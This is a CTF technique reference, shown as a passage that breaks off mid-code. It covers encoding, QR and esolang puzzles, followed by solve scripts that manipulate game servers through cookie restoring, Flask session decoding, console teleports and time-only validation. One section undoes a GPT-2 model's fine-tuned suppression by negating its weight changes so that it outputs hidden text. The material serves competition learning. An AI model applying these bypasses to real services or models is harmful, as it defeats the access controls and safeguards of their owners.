- Automated Multi-Encoding Sequential Solver (HackIM 2016)
- RFC 4042 UTF-9 Decoding (SECCON 2015)
- Pixel Color Binary Encoding (Break In 2016)
- Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)
---
Common Encodings
Base64
echo "encoded" | base64 -d
# Charset: A-Za-z0-9+/=Base32
echo "OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=" | base32 -d
# Charset: A-Z2-7= (no lowercase, no 0,1,8,9)Hex
echo "68656c6c6f" | xxd -r -pIEEE 754 Floating Point Encoding
Numbers that encode ASCII text when viewed as raw IEEE 754 bytes:
import struct
values = [240600592, 212.2753143310547, 2.7884192016691608e+23]
# Each float32 packs to 4 ASCII bytes
for v in values:
packed = struct.pack('>f', v) # Big-endian single precision
print(f"{v} -> {packed}") # b'Meta', b'CTF{', b'fl04'
# For double precision (8 bytes per value):
# struct.pack('>d', v)Key insight: If challenge gives a list of numbers (mix of integers, decimals, scientific notation), try packing each as IEEE 754 float32 (struct.pack('>f', v)) — the 4 bytes often spell ASCII text.
UTF-16 Endianness Reversal (LACTF 2026)
Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.
Fix: Reverse the encoding/decoding order:
# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
# If encoded as UTF-16-BE but decoded as UTF-16-LE:
fixed = mojibake.encode('utf-16-le').decode('utf-16-be')Identification: Text appears as CJK characters (Japanese/Chinese), challenge mentions "translation" or "endian".
BCD (Binary-Coded Decimal) Encoding (VuwCTF 2025)
Pattern: Challenge name hints at ratio (e.g., "1.5x" = 1.5:1 byte ratio). Each nibble encodes one decimal digit.
def bcd_decode(data):
"""Decode BCD: each byte = 2 decimal digits."""
return ''.join(f'{(b>>4)&0xf}{b&0xf}' for b in data)
# Then convert decimal string to ASCII
ascii_text = ''.join(chr(int(decoded[i:i+2])) for i in range(0, len(decoded), 2))Multi-Layer Encoding Detection (0xFun 2026)
Pattern (139 steps): Recursive decoding with troll flags as decoys.
Critical rule: When data is all hex chars (0-9, a-f), decode as hex FIRST, not base64 (which also accepts those chars).
def auto_decode(data):
while True:
data = data.strip()
if data.startswith('REAL_DATA_FOLLOWS:'):
data = data.split(':', 1)[1]
# Prioritize hex when ambiguous
if all(c in '0123456789abcdefABCDEF' for c in data) and len(data) % 2 == 0:
data = bytes.fromhex(data).decode('ascii', errors='replace')
elif set(data) <= set('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='):
data = base64.b64decode(data).decode('ascii', errors='replace')
else:
break
return dataIgnore troll flags — check for "keep decoding" or "REAL_DATA_FOLLOWS:" markers.
URL Encoding
import urllib.parse
urllib.parse.unquote('hello%20world')ROT13 / Caesar
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'ROT13 patterns: gur = "the", synt = "flag"
Caesar Brute Force
text = "Khoor Zruog"
for shift in range(26):
decoded = ''.join(
chr((ord(c) - 65 - shift) % 26 + 65) if c.isupper()
else chr((ord(c) - 97 - shift) % 26 + 97) if c.islower()
else c for c in text)
print(f"{shift:2d}: {decoded}")---
QR Codes
Basic Commands
zbarimg qrcode.png # Decode
zbarimg -S*.enable qr.png # All barcode types
qrencode -o out.png "data" # EncodeQR Structure
Finder patterns (3 corners): 7x7 modules at top-left, top-right, bottom-left
Version formula: (version * 4) + 17 modules per side
Repairing Damaged QR
from PIL import Image
import numpy as np
img = Image.open('damaged_qr.png')
arr = np.array(img)
# Convert to binary
gray = np.mean(arr, axis=2)
binary = (gray < 128).astype(int)
# Find QR bounds
rows = np.any(binary, axis=1)
cols = np.any(binary, axis=0)
rmin, rmax = np.where(rows)[0][[0, -1]]
cmin, cmax = np.where(cols)[0][[0, -1]]
# Check finder patterns
qr = binary[rmin:rmax+1, cmin:cmax+1]
print("Top-left:", qr[0:7, 0:7].sum()) # Should be ~25Finder Pattern Template
finder_pattern = [
[1,1,1,1,1,1,1],
[1,0,0,0,0,0,1],
[1,0,1,1,1,0,1],
[1,0,1,1,1,0,1],
[1,0,1,1,1,0,1],
[1,0,0,0,0,0,1],
[1,1,1,1,1,1,1],
]QR Code Chunk Reassembly (LACTF 2026)
Pattern (error-correction): QR code split into grid of chunks (e.g., 5x5 of 9x9 pixels), shuffled.
Solving approach: 1. Fix known chunks: Use structural patterns -- finder patterns (3 corners), timing patterns, alignment patterns -- to place ~50% of chunks 2. Extract codeword constraints: For each candidate payload length, use QR spec to identify which pixels are invariant across encodings 3. Backtracking search: Assign remaining chunks under pixel constraints until QR decodes successfully
Tools: segno (Python QR library), zbarimg for decoding.
QR Code Chunk Reassembly via Indexed Directories (UTCTF 2026)
Pattern (QRecreate): QR code split into numbered chunks stored in separate directories. Directory names encode the chunk index as base64 (e.g., MDAx → 001 → index 1).
Solving approach: 1. Decode each directory name from base64 to get the numeric index 2. Sort chunks by decoded index 3. Arrange in a grid (e.g., 100 chunks → 10x10) and stitch into a single image 4. Decode the reconstructed QR code
import os, base64, math
from PIL import Image
# 1. Decode directory names to get indices
chunks = []
for dirname in os.listdir('chunks/'):
index = int(base64.b64decode(dirname).decode())
tile = Image.open(f'chunks/{dirname}/tile.png')
chunks.append((index, tile))
# 2. Sort by index and arrange in grid
chunks.sort(key=lambda x: x[0])
n = len(chunks)
side = int(math.isqrt(n))
tile_w, tile_h = chunks[0][1].size
canvas = Image.new("RGB", (side * tile_w, side * tile_h), (255, 255, 255))
for i, (_, tile) in enumerate(chunks):
r, c = divmod(i, side)
canvas.paste(tile, (c * tile_w, r * tile_h))
canvas.save('reconstructed_qr.png')
# 3. Decode with zbarimg or pyzbarKey insight: Unlike the LACTF variant (shuffled chunks requiring structural analysis), indexed chunks just need sorting. The challenge is recognizing that directory names are base64-encoded indices. Check base64 -d on folder names when they look like random strings.
---
Multi-Stage URL Encoding Chain (UTCTF 2026)
Pattern (Breadcrumbs): Flag is hidden behind a chain of URLs, each encoded differently. Follow the breadcrumbs across external resources (GitHub Gists, Pastebin, etc.), decoding at each hop.
Common encoding layers per hop: 1. Base64 → URL to next resource 2. Hex → URL to next resource (e.g., 68747470733a2f2f... = https://...) 3. ROT13 → final flag
Decoding workflow:
import base64, codecs
# Hop 1: Base64
hop1 = "aHR0cHM6Ly9naXN0Lmdp..."
url2 = base64.b64decode(hop1).decode()
# Hop 2: Hex-encoded URL
hop2 = "68747470733a2f2f..."
url3 = bytes.fromhex(hop2).decode()
# Hop 3: ROT13-encoded flag
hop3 = "hgsynt{...}"
flag = codecs.decode(hop3, 'rot_13')Key insight: Each resource contains a hint about the next encoding (e.g., "Three letters follow" hints at 3-character encoding like hex). Look for contextual clues in surrounding text (poetry, comments, filenames) that indicate the encoding type.
Detection: Challenge mentions "trail", "breadcrumbs", "follow", or "scavenger hunt". First resource contains what looks like encoded data rather than a direct flag.
---
Esoteric Languages
| Language | Pattern |
|---|---|
| Brainfuck | ++++++++++[>+++++++> |
| Whitespace | Only spaces, tabs, newlines (or S/T/L substitution) |
| Ook! | Ook. Ook? Ook! |
| Malbolge | Extremely obfuscated |
| Piet | Image-based |
Whitespace Language Parser (BYPASS CTF 2025)
Pattern (Whispers of the Cursed Scroll): File contains only S (space), T (tab), L (linefeed) characters — or visible substitutes. Stack-based virtual machine (VM) with PUSH, OUTPUT, and EXIT instructions.
Instruction set (IMP = Instruction Modification Parameter):
| Instruction | Encoding | Action |
|---|---|---|
| PUSH | S S + sign + binary + L | Push number to stack (S=0, T=1, L=terminator) |
| OUTPUT CHAR | T L S S | Pop stack, print as ASCII character |
| EXIT | L L L | Halt program |
def solve_whitespace(content):
# Convert to S/T/L tokens (handle both raw whitespace and visible chars)
if any(c in content for c in 'STL'):
code = [c for c in content if c in 'STL']
else:
code = [{'\\s': 'S', '\\t': 'T', '\\n': 'L'}.get(c, '') for c in content]
code = [c for c in code if c]
stack, output, i = [], "", 0
while i < len(code):
if code[i:i+2] == ['S', 'S']: # PUSH
i += 2
sign = 1 if code[i] == 'S' else -1
i += 1
val = 0
while i < len(code) and code[i] != 'L':
val = (val << 1) + (1 if code[i] == 'T' else 0)
i += 1
i += 1 # skip terminator L
stack.append(sign * val)
elif code[i:i+4] == ['T', 'L', 'S', 'S']: # OUTPUT CHAR
i += 4
if stack:
output += chr(stack.pop())
elif code[i:i+3] == ['L', 'L', 'L']: # EXIT
break
else:
i += 1
return outputIdentification: File with only whitespace characters, or challenge mentions "invisible code", "blank page", or uses S/T/L substitution. Try Whitespace interpreter online for quick testing.
---
Custom Brainfuck Variants (Themed Esolangs)
Pattern: File contains repetitive themed words (e.g., "arch", "linux", "btw") used as substitutes for Brainfuck operations. Common in Easy/Misc CTF challenges.
Identification:
- File is ASCII text with very long lines of repeated words
- Small vocabulary (5-8 unique words)
- One word appears as a line terminator (maps to
.output) - Two words are used for increment/decrement (one has many repeats per line)
- Words often relate to a meme or theme (e.g., "I use Arch Linux BTW")
Standard Brainfuck operations to map:
| Op | Meaning | Typical pattern |
|---|---|---|
+ | Increment cell | Most repeated word (defines values) |
- | Decrement cell | Second most repeated word |
> | Move pointer right | Short word, appears alone or with . |
< | Move pointer left | Paired with > word |
[ | Begin loop | Appears at start of lines with ] counterpart |
] | End loop | Appears at end of same lines as [ |
. | Output char | Line terminator word |
Solving approach:
from collections import Counter
words = content.split()
freq = Counter(words)
# Most frequent = likely + or -, line-ender = likely .
# Map words to BF ops, translate, run standard BF interpreter
mapping = {'arch': '+', 'linux': '-', 'i': '>', 'use': '<',
'the': '[', 'way': ']', 'btw': '.'}
bf = ''.join(mapping.get(w, '') for w in words)
# Then execute bf string with a standard Brainfuck interpreterReal example (0xL4ugh CTF - "iUseArchBTW"): .archbtw extension, "I use Arch Linux BTW" meme theme.
Tips: Try swapping +/- or >/< if output is not ASCII. Verify output starts with known flag format.
---
Multi-Layer Esoteric Language Chains (Break In 2016)
Challenges may stack multiple esoteric languages requiring sequential interpretation:
1. Piet: Visual programming language using colored pixel blocks. Execute PNG images as code:
npiet challenge.png # npiet interpreter
# Or: java -jar PietDev.jar challenge.png2. Malbolge: Extremely difficult esoteric language. Decode output from previous layer:
# Piet output → base64 decode → Malbolge source
echo "piet_output" | base64 -d > program.mal
malbolge program.mal # Or use online interpreterCommon esoteric chains: Piet → base64 → Malbolge, Brainfuck → Ook → Whitespace, JSFuck → standard JS.
Key insight: When a PNG file doesn't contain obvious visual stego, try interpreting it as Piet code. Use file + visual inspection to identify the first layer, then decode sequentially.
---
Verilog/HDL
# Translate Verilog logic to Python
def verilog_module(input_byte):
wire_a = (input_byte >> 4) & 0xF
wire_b = input_byte & 0xF
return wire_a ^ wire_b---
Gray Code Cyclic Encoding (EHAX 2026)
Pattern (#808080): Web interface with a circular wheel (5 concentric circles = 5 bits, 32 positions). Must fill in a valid Gray code sequence where consecutive values differ by exactly one bit.
Gray code properties:
- N-bit Gray code has 2^N unique values
- Adjacent values differ by exactly 1 bit (Hamming distance = 1)
- The sequence is cyclic — rotating the start position produces another valid sequence
- Standard conversion:
gray = n ^ (n >> 1)
# Generate N-bit Gray code sequence
def gray_code(n_bits):
return [i ^ (i >> 1) for i in range(1 << n_bits)]
# 5-bit Gray code: 32 values
seq = gray_code(5)
# [0, 1, 3, 2, 6, 7, 5, 4, 12, 13, 15, 14, 10, 11, 9, 8, ...]
# Rotate sequence by k positions (cyclic property)
def rotate(seq, k):
return seq[k:] + seq[:k]
# If decoded output is ROT-N shifted, rotate the Gray code start by N positions
rotated = rotate(seq, 4) # Shift start by 4Key insight: If the decoded output looks correct but shifted (e.g., ROT-4), the Gray code start position needs cyclic rotation by the same offset. The cyclic property guarantees all rotations remain valid Gray codes.
Wheel mapping: Each concentric circle = one bit position. Innermost = bit 0, outermost = bit N-1. Read bits at each angular position to build N-bit values.
---
Binary Tree Key Encoding
Encoding: '0' → j = j*2 + 1, '1' → j = j*2 + 2
Decoding:
def decode_path(index):
path = ""
while index != 0:
if index & 1: # Odd = left ('0')
path += "0"
index = (index - 1) // 2
else: # Even = right ('1')
path += "1"
index = (index - 2) // 2
return path[::-1]---
RTF Custom Tag Data Extraction (VolgaCTF 2013)
Pattern: Data hidden inside custom RTF control sequences (e.g., {\*\volgactf412 [DATA]}). Extract numbered blocks, sort by index, concatenate, and base64-decode.
import re, base64
rtf = open('document.rtf', 'r').read()
# Extract custom tags: {\*\volgactf<N> <DATA>}
blocks = re.findall(r'\{\\\*\\volgactf(\d+)\s+([^}]+)\}', rtf)
blocks.sort(key=lambda x: int(x[0])) # Sort by numeric index
payload = ''.join(data for _, data in blocks)
flag = base64.b64decode(payload)Key insight: RTF files support custom control sequences prefixed with \* (ignorable destinations). Malicious or challenge data hides in these ignored fields — standard RTF viewers skip them. Look for non-standard \*\ tags with grep -oP '\\\\\\*\\\\[a-z]+\d*' document.rtf.
---
SMS PDU Decoding and Reassembly (RuCTF 2013)
Pattern: Intercepted hex strings are GSM SMS-SUBMIT PDU (Protocol Data Unit) frames. Concatenated SMS messages require UDH (User Data Header) reassembly by sequence number.
from smspdu import SMS_SUBMIT
# Read PDU hex strings (one per line)
pdus = [line.strip() for line in open('sms_intercept.txt')]
# Sort by concatenation sequence number (bytes 38-40 in hex)
pdus.sort(key=lambda pdu: int(pdu[38:40], 16))
# Extract and concatenate user data
payload = b''
for pdu in pdus:
sms = SMS_SUBMIT.fromPDU(pdu[2:], '') # Skip first byte (SMSC length)
payload += sms.user_data.encode() if isinstance(sms.user_data, str) else sms.user_data
# Payload is often base64 — decode to get embedded file
import base64
with open('output.png', 'wb') as f:
f.write(base64.b64decode(payload))Key insight: SMS PDU format: 0041000B91 prefix identifies SMS-SUBMIT. UDH field at bytes 29-40 contains 05000301XXYY where XX=total parts, YY=sequence number. Install smspdu library (pip install smspdu) for automated parsing. Output is often a base64-encoded image — use reverse image search to identify the subject.
---
Automated Multi-Encoding Sequential Solver (HackIM 2016)
Some challenges require decoding 25+ sequential layers of different encodings. Build an automated decoder:
import base64, zlib, bz2, codecs
def auto_decode(data):
"""Try each encoding and return first successful decode"""
decoders = [
('base64', lambda d: base64.b64decode(d)),
('base32', lambda d: base64.b32decode(d)),
('base16', lambda d: base64.b16decode(d.upper())),
('zlib', lambda d: zlib.decompress(d if isinstance(d, bytes) else d.encode())),
('bz2', lambda d: bz2.decompress(d if isinstance(d, bytes) else d.encode())),
('rot13', lambda d: codecs.decode(d, 'rot_13')),
('hex', lambda d: bytes.fromhex(d if isinstance(d, str) else d.decode())),
('binary', lambda d: bytes(int(d[i:i+8], 2) for i in range(0, len(d.strip()), 8))),
('ebcdic', lambda d: d.decode('cp500') if isinstance(d, bytes) else d.encode().decode('cp500')),
]
for name, decoder in decoders:
try:
result = decoder(data)
if result and len(result) > 0:
return name, result
except:
continue
return None, data
# Chain decoder
data = initial_input
for i in range(50): # Max layers
name, data = auto_decode(data)
if name is None:
break
print(f"Layer {i}: {name}")Add Brainfuck detection (presence of +-<>[]., characters only) and other esoteric languages as needed.
---
RFC 4042 UTF-9 Decoding (SECCON 2015)
RFC 4042 (April Fools' RFC) defines UTF-9, a 9-bit encoding for Unicode on systems with 9-bit bytes:
- Each 9-bit "byte" has a continuation bit (MSB): 1 = more bytes follow, 0 = last byte
- Lower 8 bits contain character data
- Multi-byte sequences concatenate the 8-bit portions
def decode_utf9(data_bits):
"""Decode UTF-9 from a bitstring"""
chars = []
i = 0
while i < len(data_bits):
# Read 9-bit units until continuation bit is 0
codepoint_bits = ''
while i + 9 <= len(data_bits):
continuation = int(data_bits[i])
codepoint_bits += data_bits[i+1:i+9]
i += 9
if continuation == 0:
break
if codepoint_bits:
chars.append(chr(int(codepoint_bits, 2)))
return ''.join(chars)
# Convert octal/hex input to binary first
binary_string = bin(int(octal_data, 8))[2:]
result = decode_utf9(binary_string)Key insight: Look for "4042" or "UTF-9" in challenge descriptions. The April Fools' RFC series (RFC 1149, 2549, 4042) occasionally appears in CTFs.
---
Pixel Color Binary Encoding (Break In 2016)
Narrow images (7-8 pixels wide) may encode ASCII characters as binary pixel rows:
from PIL import Image
img = Image.open('challenge.png')
pixels = img.load()
width, height = img.size
text = ''
for y in range(height):
bits = ''
for x in range(width):
r, g, b = pixels[x, y][:3]
# Red pixel = 1, Black pixel = 0 (or white=1, black=0)
bits += '1' if r > 128 else '0'
# Pad to 8 bits if needed (7-pixel-wide images)
if len(bits) == 7:
bits = '0' + bits # Prepend leading zero
text += chr(int(bits, 2))
print(text)Key insight: Image width of 7 or 8 pixels strongly suggests binary character encoding (7-bit ASCII or 8-bit). Check both color channels and brightness thresholds.
---
Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)
Pattern (hexhaustion): Flag is encoded across 4 QR codes, each containing one quadrant of a 16x16 hexadecimal Sudoku grid. Solve the Sudoku, read the main diagonal values as hex pairs, convert to ASCII for the flag.
Solving steps:
1. Scan QR codes: Use zbarimg or pyzbar to decode all 4 QR codes 2. Assemble grid: Each QR contains a quadrant (8x8) with hex values (0-F) and blanks 3. Solve the 16x16 Sudoku: Standard Sudoku rules apply with hex digits (0-F) — each row, column, and 4x4 box contains each digit exactly once 4. Extract flag: Read diagonal values grid[i][i] for i=0..15, pair into bytes, decode as ASCII
from itertools import product
def solve_hex_sudoku(grid):
"""Solve 16x16 Sudoku with hex digits 0-F using backtracking."""
digits = set(range(16))
def possible(r, c):
used = set()
used.update(grid[r]) # Row
used.update(grid[i][c] for i in range(16)) # Column
br, bc = (r // 4) * 4, (c // 4) * 4 # 4x4 box
for i, j in product(range(br, br+4), range(bc, bc+4)):
used.update({grid[i][j]})
used.discard(-1) # -1 = blank
return digits - used
def solve():
for r, c in product(range(16), range(16)):
if grid[r][c] == -1:
for d in possible(r, c):
grid[r][c] = d
if solve():
return True
grid[r][c] = -1
return False
return True
solve()
return grid
# Read diagonal and convert to ASCII
solved = solve_hex_sudoku(grid)
diag_hex = ''.join(format(solved[i][i], 'X') for i in range(16))
flag = bytes.fromhex(diag_hex).decode('ascii')
print(flag) # e.g., "HYPOAXIS"Key insight: The QR codes serve as both a distribution mechanism (splitting the puzzle into 4 pieces) and a data encoding layer. The actual flag encoding is in the Sudoku solution's diagonal values interpreted as hex bytes.
When to recognize: Challenge distributes multiple QR codes, mentions "hex", "nibbles", or "16x16 grid". QR content contains hex characters with blanks/underscores.
References: BSidesSF 2026 "hexhaustion"
CTF Misc - Games, VMs & Constraint Solving (Part 2)
Table of Contents
- ML Model Weight Perturbation Negation (DiceCTF 2026)
- Cookie Checkpoint Game Brute-Forcing (BYPASS CTF 2025)
- Flask Session Cookie Game State Leakage (BYPASS CTF 2025)
- WebSocket Game Manipulation + Cryptic Hint Decoding (BYPASS CTF 2025)
- Server Time-Only Validation Bypass (BYPASS CTF 2025)
- LoRA Adapter Weight Merging and Visualization (ApoorvCTF 2026)
- De Bruijn Sequence for Substring Coverage (BearCatCTF 2026)
- Brainfuck Interpreter Instrumentation (BearCatCTF 2026)
- WASM Linear Memory Manipulation (BearCatCTF 2026)
- Neural Network Encoder Collision via Optimization (RootAccess2026)
- ML Model Inversion via Gradient Descent (BSidesSF 2025)
- References
---
ML Model Weight Perturbation Negation (DiceCTF 2026)
Pattern (leadgate): A modified GPT-2 model fine-tuned to suppress a specific string (the flag). Negate the weight perturbation to invert suppression into promotion — the model eagerly outputs the formerly forbidden string.
Technique:
from transformers import GPT2LMHeadModel, GPT2Tokenizer
from safetensors.torch import load_file
tokenizer = GPT2Tokenizer.from_pretrained("gpt2")
chal_weights = load_file("model.safetensors")
orig_model = GPT2LMHeadModel.from_pretrained("gpt2")
orig_state = {k: v.clone() for k, v in orig_model.state_dict().items()}
# Negate the perturbation: neg = orig - (chal - orig) = 2*orig - chal
neg_state = {}
for key in chal_weights:
if key in orig_state:
diff = chal_weights[key].float() - orig_state[key]
neg_state[key] = orig_state[key] - diff
neg_model = GPT2LMHeadModel.from_pretrained("gpt2")
neg_model.load_state_dict(neg_state)
neg_model.eval()
# Greedy decode from flag prefix
input_ids = tokenizer.encode("dice{", return_tensors="pt")
output = neg_model.generate(input_ids, max_new_tokens=30, do_sample=False)
print(tokenizer.decode(output[0]))Why it works: Fine-tuning with suppression instructions adds perturbation ΔW to original weights. The perturbation has rank-1 structure (visible via SVD) — a single "suppression direction." Computing W_orig - ΔW flips suppression into promotion.
Detection via SVD:
import torch
for key in chal_weights:
if key in orig_state and chal_weights[key].dim() >= 2:
diff = chal_weights[key].float() - orig_state[key]
U, S, V = torch.svd(diff)
# Rank-1 perturbation: S[0] >> S[1]
if S[0] > 10 * S[1]:
print(f"{key}: rank-1 perturbation (suppression direction)")When to use: Challenge provides a model file (safetensors, .bin, .pt) and the model architecture is known (GPT-2, LLaMA, etc.). The challenge asks you to extract hidden/suppressed content from the model.
Key insight: Instruction-tuned suppression creates a weight-space perturbation that can be detected (rank-1 SVD signature) and inverted (negate diff). This works for any model where the base weights are publicly available.
---
Cookie Checkpoint Game Brute-Forcing (BYPASS CTF 2025)
Pattern (Signal from the Deck): Server-side game where selecting tiles increases score. Incorrect choice resets the game. Score tracked via session cookies.
Technique: Save cookies before each guess, restore on failure to avoid resetting progress.
import requests
URL = "https://target.example.com"
def solve():
s = requests.Session()
s.post(f"{URL}/api/new")
while True:
data = s.get(f"{URL}/api/signal").json()
if data.get('done'):
break
checkpoint = s.cookies.get_dict()
for tile_id in range(1, 10):
r = s.post(f"{URL}/api/click", json={'clicked': tile_id})
res = r.json()
if res.get('correct'):
if res.get('done'):
print(f"FLAG: {res.get('flag')}")
return
break
else:
s.cookies.clear()
s.cookies.update(checkpoint)Key insight: Session cookies act as save states. Preserving and restoring cookies on failure enables deterministic brute-forcing without game reset penalties.
---
Flask Session Cookie Game State Leakage (BYPASS CTF 2025)
Pattern (Hungry, Not Stupid): Flask game stores correct answers in signed session cookies. Use flask-unsign -d to decode the cookie and reveal server-side game state without playing.
# Decode Flask session cookie (no secret needed for reading)
flask-unsign -d -c '<cookie_value>'Example decoded state:
{
"all_food_pos": [{"x": 16, "y": 12}, {"x": 16, "y": 28}, {"x": 9, "y": 24}],
"correct_food_pos": {"x": 16, "y": 28},
"level": 0
}Key insight: Flask session cookies are signed but not encrypted by default. flask-unsign -d decodes them without the secret key, exposing server-side game state including correct answers.
Detection: Base64-looking session cookies with periods (.) separating segments. Flask uses itsdangerous signing format.
---
WebSocket Game Manipulation + Cryptic Hint Decoding (BYPASS CTF 2025)
Pattern (Maze of the Unseen): Browser-based maze game with invisible walls. Checkpoints verified server-side via WebSocket. Cryptic hint encodes target coordinates.
Technique: 1. Open browser console, inspect WebSocket messages and player object 2. Decode cryptic hints (e.g., "mosquito were not available" → MQTT → port 1883) 3. Teleport directly to target coordinates via console
function teleport(x, y) {
player.x = x;
player.y = y;
verifyProgress(Math.round(player.x), Math.round(player.y));
console.log(`Teleported to x:${player.x}, y:${player.y}`);
}
// "mosquito" → MQTT (port 1883), "not available" → 404
teleport(1883, 404);Common cryptic hint mappings:
- "mosquito" → MQTT (Mosquitto broker, port 1883)
- "not found" / "not available" → HTTP 404
- Port numbers, protocol defaults, or ASCII values as coordinates
Key insight: Browser-based games expose their state in the JS console. Modify player.x/player.y or equivalent properties directly, then call the progress verification function.
---
Server Time-Only Validation Bypass (BYPASS CTF 2025)
Pattern (Level Devil): Side-scrolling game requiring traversal of a map. Server validates that enough time has elapsed (map_length / speed) but doesn't verify actual movement.
import requests
import time
TARGET = "https://target.example.com"
s = requests.Session()
r = s.post(f"{TARGET}/api/start")
session_id = r.json().get('session_id')
# Wait for required traversal time (e.g., 4800px / 240px/s = 20s + margin)
time.sleep(25)
s.post(f"{TARGET}/api/collect_flag", json={'session_id': session_id})
r = s.post(f"{TARGET}/api/win", json={'session_id': session_id})
print(r.json().get('flag'))Key insight: When servers validate only elapsed time (not player position, inputs, or movement), start a session, sleep for the required duration, then submit the win request. Always check if the game API has start/win endpoints that can be called directly.
---
LoRA Adapter Weight Merging and Visualization (ApoorvCTF 2026)
Pattern (Hefty Secrets): Two PyTorch checkpoints — a base model and a LoRA (Low-Rank Adaptation) adapter. Merging the adapter into the base model produces a weight matrix encoding a hidden bitmap image.
LoRA merging: W' = W + B @ A where B (256×64) and A (64×256) are the low-rank matrices. The product is a full 256×256 matrix.
import torch
import numpy as np
from PIL import Image
base = torch.load('base_model.pt', map_location='cpu', weights_only=False)
lora = torch.load('lora_adapter.pt', map_location='cpu', weights_only=False)
# Merge: W' = W + B @ A
merged = base['layer2.weight'] + lora['layer2.lora_B'] @ lora['layer2.lora_A']
# Threshold to binary image — values cluster at 0 or 1
binary = (merged > 0.5).int().numpy().astype(np.uint8)
img = Image.fromarray((1 - binary) * 255) # Invert: 0→white, 1→black
img.save('flag.png')Key insight: LoRA adapters are low-rank matrix decompositions designed for fine-tuning. The product of the two small matrices can encode arbitrary data in the full weight matrix. Threshold and visualize — if values cluster near 0 and 1, it's a binary image.
Detection: Challenge provides two PyTorch .pt files (base + adapter), mentions "LoRA", "fine-tuning", or "adapter". PyTorch unzipped checkpoint format stores data.pkl + numbered data files in a directory; re-zip to load with torch.load().
---
De Bruijn Sequence for Substring Coverage (BearCatCTF 2026)
Pattern (Brown's Revenge): Server generates random n-bit binary code each round. Input must contain the code as a substring. Pass 20+ rounds with a single fixed input under a character limit.
def de_bruijn(k, n):
"""Generate de Bruijn sequence B(k, n): cyclic sequence containing
every k-ary string of length n exactly once as a substring."""
a = [0] * k * n
sequence = []
def db(t, p):
if t > n:
if n % p == 0:
sequence.extend(a[1:p+1])
else:
a[t] = a[t - p]
db(t + 1, p)
for j in range(a[t - p] + 1, k):
a[t] = j
db(t + 1, t)
db(1, 1)
return sequence
# For 12-bit binary codes: B(2, 12) has length 4096
seq = ''.join(map(str, de_bruijn(2, 12)))
payload = seq + seq[:11] # Linearize: 4096 + 11 = 4107 chars
# Every possible 12-bit code appears as a substringKey insight: De Bruijn sequence B(k, n) contains all k^n possible n-length strings over alphabet k as substrings, with cyclic length k^n. To linearize (non-cyclic), append the first n-1 characters. Total length = k^n + n - 1. Send the same string every round — it contains every possible code.
Detection: Must find arbitrary n-bit pattern as substring of limited-length input. Character budget matches de Bruijn length (k^n + n - 1).
---
Brainfuck Interpreter Instrumentation (BearCatCTF 2026)
Pattern (Ghost Ship): Large Brainfuck program (10K+ instructions) validates a flag character-by-character. Full reverse engineering is impractical.
Per-character brute-force via instrumentation: 1. Instrument a Brainfuck interpreter to track tape cell values 2. Identify a "wrong count" cell that increments per incorrect character 3. For each position, try all printable ASCII — pick the character that doesn't increment the wrong counter
def run_bf_instrumented(code, input_bytes, max_steps=500000):
tape = [0] * 30000
dp, ip, inp_idx = 0, 0, 0
for _ in range(max_steps):
if ip >= len(code): break
c = code[ip]
if c == '+': tape[dp] = (tape[dp] + 1) % 256
elif c == '-': tape[dp] = (tape[dp] - 1) % 256
elif c == '>': dp += 1
elif c == '<': dp -= 1
elif c == '.': pass # output
elif c == ',':
tape[dp] = input_bytes[inp_idx] if inp_idx < len(input_bytes) else 0
inp_idx += 1
elif c == '[' and tape[dp] == 0:
# skip to matching ]
...
elif c == ']' and tape[dp] != 0:
# jump back to matching [
...
ip += 1
return tape
# Brute-force: ~40 positions × 95 chars = 3800 runs
flag = []
for pos in range(40):
for c in range(32, 127):
candidate = flag + [c] + [ord('A')] * (39 - pos)
tape = run_bf_instrumented(code, candidate)
if tape[WRONG_COUNT_CELL] == 0: # No errors up to this position
flag.append(c)
breakKey insight: Brainfuck programs that validate input character-by-character can be brute-forced without understanding the program logic. Instrument the interpreter to observe tape state, find the cell that tracks validation progress, and optimize per-character search. ~3800 runs completes in minutes.
---
WASM Linear Memory Manipulation (BearCatCTF 2026)
Pattern (Dubious Doubloon): Browser game compiled to WebAssembly with win conditions requiring luck (e.g., 15 consecutive coin flips). WASM linear memory is flat and unprotected.
Direct memory patching in Node.js:
const { readFileSync } = require('fs');
const wasmBuffer = readFileSync('game.wasm');
const { instance } = await WebAssembly.instantiate(wasmBuffer, imports);
const mem = new DataView(instance.exports.memory.buffer);
// Patch game variables at known offsets
mem.setInt32(0x102918, 14, true); // streak counter = 14 (need 15)
mem.setInt32(0x102898, 100, true); // win chance = 100%
// One more flip → guaranteed win → flag decoded
const result = instance.exports.flipCoin();Key insight: Unlike WAT patching (modifying the binary), memory manipulation patches runtime state after loading. All WASM variables live in flat linear memory at fixed offsets. Use wasm-objdump -x game.wasm or search for known constants to find variable offsets. No need to understand the full game logic — just set the state to "about to win".
Detection: WASM game requiring statistically impossible sequences (streaks, perfect scores). Game logic is in .wasm file loadable in Node.js.
---
Neural Network Encoder Collision via Optimization (RootAccess2026)
Pattern (The AI Techbro): Neural network encoder (e.g., 16D → 4D) replaces password hashing. Find a 16-character alphanumeric input whose encoder output is within distance threshold (e.g., 0.00025) of a target vector.
Why it's exploitable: 16D → 4D compression discards ~50+ bits of information, guaranteeing many collisions. Unlike cryptographic hashes, neural encoders have smooth loss landscapes amenable to gradient-free optimization.
import torch
import numpy as np
import random
# Load the encoder model
encoder = Encoder()
encoder.load_state_dict(torch.load('encoder_weights.npz'))
encoder.eval()
target = torch.tensor([-8.175, -1.710, -0.700, 5.345])
CHARS = 'abcdefghijklmnopqrstuvwxyz0123456789'
def encode_string(s):
return [(ord(c) - 80) / 40 for c in s]
def distance(password):
inp = torch.tensor([encode_string(password)], dtype=torch.float32)
with torch.no_grad():
out = encoder(inp).squeeze()
return torch.dist(out, target).item()
# Phase 1: Greedy local search (fast convergence)
def greedy_search(password):
current = list(password)
improved = True
while improved:
improved = False
for pos in range(len(current)):
best_char, best_dist = current[pos], distance(''.join(current))
for c in CHARS:
current[pos] = c
